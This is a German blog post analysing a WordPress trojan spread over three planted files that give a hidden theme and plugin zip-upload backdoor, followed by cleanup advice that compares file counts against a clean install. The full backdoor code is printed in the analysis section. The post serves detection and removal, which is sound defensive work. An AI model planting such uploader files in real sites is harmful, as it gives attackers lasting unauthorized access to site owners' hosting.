Über den Author / Internet / PHP Trojaner (Teil 2: Uploader Infektion)

PHP Trojaner (Teil 2: Uploader Infektion)

~3 Min. Lesezeit

PHP Trojaner sind beliebt, denn oft werden solche Infektionen übersehen und überstehen Jahre auf einem Hosting. Genauso ist es mit diesem Trojaner passiert. Der Tojaner wurde im Oktober 2010 auf dem System installiert und seither nicht entdeckt.

Dieser Trojaner ist nicht in einem einzelner Datei versteckt, sondern auf insgesamt 3 Dateien verteilt, was die Erkennnung und damit die Beseitigung erschwert.

PHP Uploader Infektion

Der Tojaner besteht auf 3 Dateien:
wp-admin/uploader/upload.php
wp-admin/includes/plugin-uploader.php
wp-admin/includes/theme-uploader.php
All diese Dateien gehören nicht zu WordPress und wurden zusätzlich installiert.

Der Inhalt der 3 Dateien:
wp-admin/upload.php

require_once('admin.php');
if (isset($_POST['upload_plugin']) || isset($_POST['upload_theme']))
{
    $err_title = __('WordPress Failure Notice');
    $err_redirect = '<p><a href="' . remove_query_arg(wp_get_referer()) . '">' . __('Please try again.') . '</a></p>';
    if (isset($_POST['upload_theme']) && check_admin_referer('upload-theme'))
    {
        if ( !current_user_can('edit_themes') )
            wp_die('<p>'.__('You do not have sufficient permissions to upload templates for this blog.').'</p>');
        $target_dir = 'themes';
        $location = 'themes.php';
    } elseif (isset($_POST['upload_plugin']) && check_admin_referer('upload-plugin'))
    {
        if ( !current_user_can('edit_plugins') )
            wp_die('<p>'.__('You do not have sufficient permissions to upload plugins for this blog.').'</p>');
        $target_dir = 'plugins';
        $location = 'plugins.php';
    } else {
        wp_die('<p>' . __('Error: Uploading failed. Not enough parameters.') . '</p>'.$err_redirect, $err_title);
    }

    $afile = wp_handle_upload($_FILES['package'], array('test_form' => false));
    $dest_path = ABSPATH.'/wp-content/' . $target_dir;

    require_once('pclzip.lib.php');
    $archive = new PclZip($afile['file']);
    if ($archive->extract(PCLZIP_OPT_PATH, $dest_path) == 0) {
        unlink($afile['file']);
        wp_die(__("Can't unpack zip-file: ").$archive->errorInfo(true) . $err_redirect, $err_title);
    } else {
        unlink($afile['file']);
        wp_redirect($location);
    }
}

wp-admin/includes/plugin-uploader.php
wp-admin/includes/theme-uploader.php

Der Inhalt dieser Dateien ist nahezu identisch, ausser das ein Uploader auf Theme reagiert, der andere auf Plugin, daher zeige ich hier nur eine Version:

require_once('admin.php');
require_once('uploader/upload.php');
$title = __('Upload theme');
$parent_file = 'themes.php';
require_once('admin-header.php');
?>
<div class="wrap">
<h2><?php _e('Theme Uploader'); ?></h2>
<p><?php _e('Choose files to upload'); ?></p>
    <form id="theme_uploader" action="" enctype="multipart/form-data" method="post">
	  <?php wp_nonce_field('upload-theme'); ?>
      <input type="file" name="package" id="id_package" /><br/>
	  <input type="submit" value="<?php _e('Upload')?>" name="upload_theme" class="button"/>
    </form>
</div>
<?php
include("admin-footer.php");

Was macht der Code?

Diese Dateien waren komplett unverschlüsselt und daher gut zu lesen, jedoch kann man schnell glauben dass diese zu WordPress gehören, da diese WordPress Funktionalitäten nutzen um neue Schadsoftware ins WordPress laden zu können. Verschlüsselte Dateien fallen eher auf, daher irgendwie dennoch gut getarnt.

Die Dateien selbst sind harmlos, doch öffnen diese den Weg jederzeit neue Dateien im Hosting installieren zu können und so neue Infektionen verbreiten zu können.

Bereinigung

Die Bereinigung ist sehr einfach, da diese zusätzliche Dateien sind, welche nicht zu WordPress gehören und somit ersatzlos gelöscht werden können.
Bei WordPress kann man sehr schnell erkennen ob man solche zusätzlichen Dateien besitzt, welche nicht zu WordPress gehören, in dem die Anzahl der Dateien per FTP kontrolliert. Bei Abweichungen muss man nur die Datei suchen welche nicht zu WordPress gehört.

Standardmäsig hat WordPress 4.2.2 folgende Einträge:

wp-admin/ 87 Einträge (Ordner und Dateien)
wp-admin/includes/ 77 Dateien

Wer mehr Einträge verzeichnet, sollte diese Verzeichnisse mit einer sauberen WordPress Installation vergleichen.
Zusätzliche Dateien backupen (im Notfall) und danach löschen.

About Stefan

avatar

Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.

Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

PHP Trojaner (Teil 4: Codierte Uploader Infektion)

~2 Min. LesezeitNicht jeder PHP Trojaner kann auf den ersten Blick identifiziert werden, was der …

PHP Trojaner (Teil 3: Spamsender Infektion)

~1 Min. LesezeitSpam ist ein grosses Problem der heutigen Zeit, doch wer verschickt Spam und …

Ein Kommentar

  1. avatar

    Vielen dank with that trojan! Wordfence plugin was unable to detect it is really malware, so your article helped a lot.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.